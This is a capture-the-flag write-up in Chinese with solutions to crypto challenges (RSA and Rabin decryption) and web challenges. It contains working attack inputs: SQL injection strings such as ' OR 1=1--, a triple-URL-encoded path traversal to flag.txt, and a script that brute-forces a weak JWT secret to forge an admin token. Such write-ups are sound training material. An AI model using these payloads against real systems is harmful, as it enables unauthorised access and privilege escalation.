# ckcscCTF-final題解

> Author:堇姬

# Crypto

## Are you good at math?

e= 65537
c= 689283123593973266462718190994935466468974902446987599280206
p+q= 1960693995416609992388338903038
(p+1)*(q+1)= 915316705593356934122195893788784115532595689189996124532736

$(p+1) \times (q+1)=pq+p+q+1$
$n=pq$
$n=(p+1) \times (q+1)-(p+q)-1$
$ϕ(n)=(p-1)*(q-1)=pq-p-q+1$
$ϕ(n)=n-((p+1) \times (q+1)-n-1)+1$
找出d，$ed \equiv 1 \pmod {ϕ(n)}$
$m=c^d \pmod n$
### solve

from Crypto.Util.number import *
import gmpy2

pq=1960693995416609992388338903038
p1q1= 915316705593356934122195893788784115532595689189996124532736
e= 65537
c= 689283123593973266462718190994935466468974902446987599280206

n=p1q1-pq-1
phi = n-(p1q1-n-1)+1
print(phi)
d = gmpy2.invert(e , phi)

print(long_to_bytes(pow(c , d , n)))

## Futaba Sakura's cryptex
簡單來說就是三個古典密碼+一個ECB的padding oracle

## MATH IS TOO DIFFICULT!!!

c=36385155708314824172407130300080762276636346601376110917605592084732474782930
n=87924348264132406875276140514499937145050893665602592992418171647042491658461
e=2

證明基本上寫在裡面
https://hackmd.io/@naup96321/Sycds2bPp
n用factordb就可以分解開來了

import gmpy2
import codecs

def squareMod(c, mod):         
    assert(mod % 4 == 3)
    res = gmpy2.powmod(c, (mod+1)//4, mod)
    return res, mod - res

def getPlaintext(x, y, p, q):  
    res = x*q*gmpy2.invert(q, p) + y*p*gmpy2.invert(p, q)
    return res % (p*q)

def solve(c, p, q):            
    px = squareMod(c, p)
    py = squareMod(c, q)

    for x in px:
        for y in py:
            yield getPlaintext(x, y, p, q)

c = 36385155708314824172407130300080762276636346601376110917605592084732474782930

p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239

for msg in solve(c, p, q):
    res = hex(msg)[2:]
    if len(res) % 2 == 1:
        res = '0' + res

    print(codecs.decode(res, 'hex'))

# Web
## Riddle Joker's SECRET?

蒐集資訊+水平越權

## Look around it!

import urllib.parse
def useless (file_param):
    file_param1 = ignore_it(file_param)
    file_param2 = another_useless_function(file_param1)
    file_param3 = ignore_it(file_param2)
    file_param4 = another_useless_function(file_param3)
    file_param5 = another_useless_function(file_param4)
    return file_param5

def another_useless_function(file_param):
    return urllib.parse.unquote(file_param)

def ignore_it(file_param):
    yoooo = file_param.replace('.', '').replace('/', '')
    if yoooo != file_param:
        return "Illegal characters detected in file parameter!"
    return yoooo

a=urllib.parse.quote("%2E%2E%2Fflag%2Etxt")
b=urllib.parse.quote(a)
print(b)
print(useless(b))

> %25252E%25252E%25252Fflag%25252Etxt
## Continuous Injection Challenge

### LEVEL 1

admin
' OR 1=1--

### LEVEL 2

ad'||'min
a' IS NOT 'b

### LEVEL 3

[" 'OR 1=1--",1]

## Many Many Shiro
https://hackmd.io/@naup96321/r1ULD4SvT

from tqdm import tqdm
from itertools import product
import jwt
data = {'id': 2, 'role': "User"}
def jwtjwt(secret_key):
    token = jwt.encode(data, secret_key, algorithm='HS256')
    return token

realkey=""
for new_key in tqdm(product(range(256), repeat=3)):
    new_key = bytes(new_key)
    if jwtjwt(new_key) == "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IlVzZXIifQ.oKsFj_dKl8OXyGQn5GSh40XcJs-KHWj9dVVo_wjJlUY":
        realkey=new_key
        break

admin_data={'id':1,"role":"Admin"}
token = jwt.encode(admin_data,realkey,algorithm='HS256')
print(realkey)
print(token)